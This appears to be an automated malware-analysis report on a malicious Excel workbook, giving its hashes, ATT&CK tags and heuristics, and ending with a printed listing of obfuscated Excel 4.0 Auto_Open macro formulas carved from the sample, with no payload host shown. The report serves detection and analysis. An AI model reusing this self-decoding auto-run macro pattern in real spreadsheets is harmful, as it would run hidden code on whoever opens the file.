Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c41a108e70cfac24…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:42:19 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 4c203710060352dfbbbc11ef4a77b16b SHA-1: c64d19f8acb844cf17913b93a5d8b54641f01efd SHA-256: c41a108e70cfac24ed151b0e7b85cbf33760bd72481533e0ecad61e2e4bb4df2
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open defined name, which is a common technique for executing malicious code upon opening the document. The `RUN` function API call within the macro suggests it attempts to execute an external program or script. Without further deobfuscation or network activity, the exact payload and its destination remain unknown.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6616 bytes
SHA-256: cf8ff8626e2876a32b796382223bb51e5e73ea263464e57fcf052a0115d6b77c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ooHWbRYQ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E139 
' 0018     27 LABEL : Cell Value, String Constant - aVZSQYyjlMNl len=0 
' 0018     27 LABEL : Cell Value, String Constant - AyRzCypQyiOC len=0 
' 0018     21 LABEL : Cell Value, String Constant - BqRkHW len=0 
' 0018     23 LABEL : Cell Value, String Constant - fvDwPCjE len=0 
' 0018     20 LABEL : Cell Value, String Constant - GdvSX len=0 
' 0018     20 LABEL : Cell Value, String Constant - GrkXd len=0 
' 0018     20 LABEL : Cell Value, String Constant - hXYtA len=0 
' 0018     26 LABEL : Cell Value, String Constant - knIDpUCuYTG len=0 
' 0018     23 LABEL : Cell Value, String Constant - kyaFgipv len=0 
' 0018     27 LABEL : Cell Value, String Constant - lyHsamYJKGDD len=0 
' 0018     22 LABEL : Cell Value, String Constant - MFmRDER len=0 
' 0018     26 LABEL : Cell Value, String Constant - nQPVPIWISAE len=0 
' 0018     27 LABEL : Cell Value, String Constant - OKbyjZAjtJTN len=0 
' 0018     26 LABEL : Cell Value, String Constant - poQzaoTCdao len=0 
' 0018     23 LABEL : Cell Value, String Constant - rAqDHpsf len=0 
' 0018     26 LABEL : Cell Value, String Constant - uDCPUiTTKQH len=0 
' 0018     23 LABEL : Cell Value, String Constant - waUuWsMo len=0 
' 0018     25 LABEL : Cell Value, String Constant - wIOUsXCCyI len=0 
' 0018     25 LABEL : Cell Value, String Constant - XkOLpADQoE len=0 
' 0018     20 LABEL : Cell Value, String Constant - zcxPQ len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ooHWbRYQ,E44,"SET.NAME("XkOLpADQoE",VALUE("0"))",""
'  ooHWbRYQ,E48,"SET.NAME("AyRzCypQyiOC",XkOLpADQoE)",""
'  ooHWbRYQ,E50,"SET.NAME("kyaFgipv",XkOLpADQoE)",""
'  ooHWbRYQ,E54,"SET.NAME("nQPVPIWISAE",COUNTA(MFmRDER))",""
'  ooHWbRYQ,E58,"SET.NAME("knIDpUCuYTG",COUNTA(BqRkHW))",""
'  ooHWbRYQ,E63,[],""
'  ooHWbRYQ,E65,"SET.NAME("poQzaoTCdao","")",""
'  ooHWbRYQ,E67,"AyRzCypQyiOC",""
'  ooHWbRYQ,E71,"SET.NAME("aVZSQYyjlMNl",HLOOKUP("*",MFmRDER,AyRzCypQyiOC,FALSE))",""
'  ooHWbRYQ,E75,"zcxPQ",""
'  ooHWbRYQ,E79,"SET.NAME("lyHsamYJKGDD",XkOLpADQoE)",""
'  ooHWbRYQ,E82,[],""
'  ooHWbRYQ,E85,"lyHsamYJKGDD",""
'  ooHWbRYQ,E87,"OKbyjZAjtJTN",""
'  ooHWbRYQ,E92,"wIOUsXCCyI",""
'  ooHWbRYQ,E95,"uDCPUiTTKQH",""
'  ooHWbRYQ,E98,"SET.NAME("hXYtA",VALUE(HLOOKUP("*",BqRkHW,uDCPUiTTKQH,FALSE)))",""
'  ooHWbRYQ,E103,"waUuWsMo",""
'  ooHWbRYQ,E106,"poQzaoTCdao",""
'  ooHWbRYQ,E109,"kyaFgipv",""
'  ooHWbRYQ,E113,NEXT(),""
'  ooHWbRYQ,E118,"fvDwPCjE",""
'  ooHWbRYQ,E122,"SET.NAME("f",INT(T(FORMULA(T(poQzaoTCdao)&"",""&T(fvDwPCjE)))))",""
'  ooHWbRYQ,E127,"rAqDHpsf",""
'  ooHWbRYQ,E130,NEXT(),""
'  ooHWbRYQ,E134,RETURN(),""
'  ooHWbRYQ,E172,"SET.NAME("GdvSX",E44)",""
'  ooHWbRYQ,E177,"MFmRDER",""
'  ooHWbRYQ,E179,"SET.NAME("BqRkHW",R87C12)",""
'  ooHWbRYQ,E181,"SET.NAME("rAqDHpsf",188)",""
'  ooHWbRYQ,E184,"SET.NAME("GrkXd",5)",""
'  ooHWbRYQ,E187,GdvSX(),""
'  ooHWbRYQ,E188,HALT(),""

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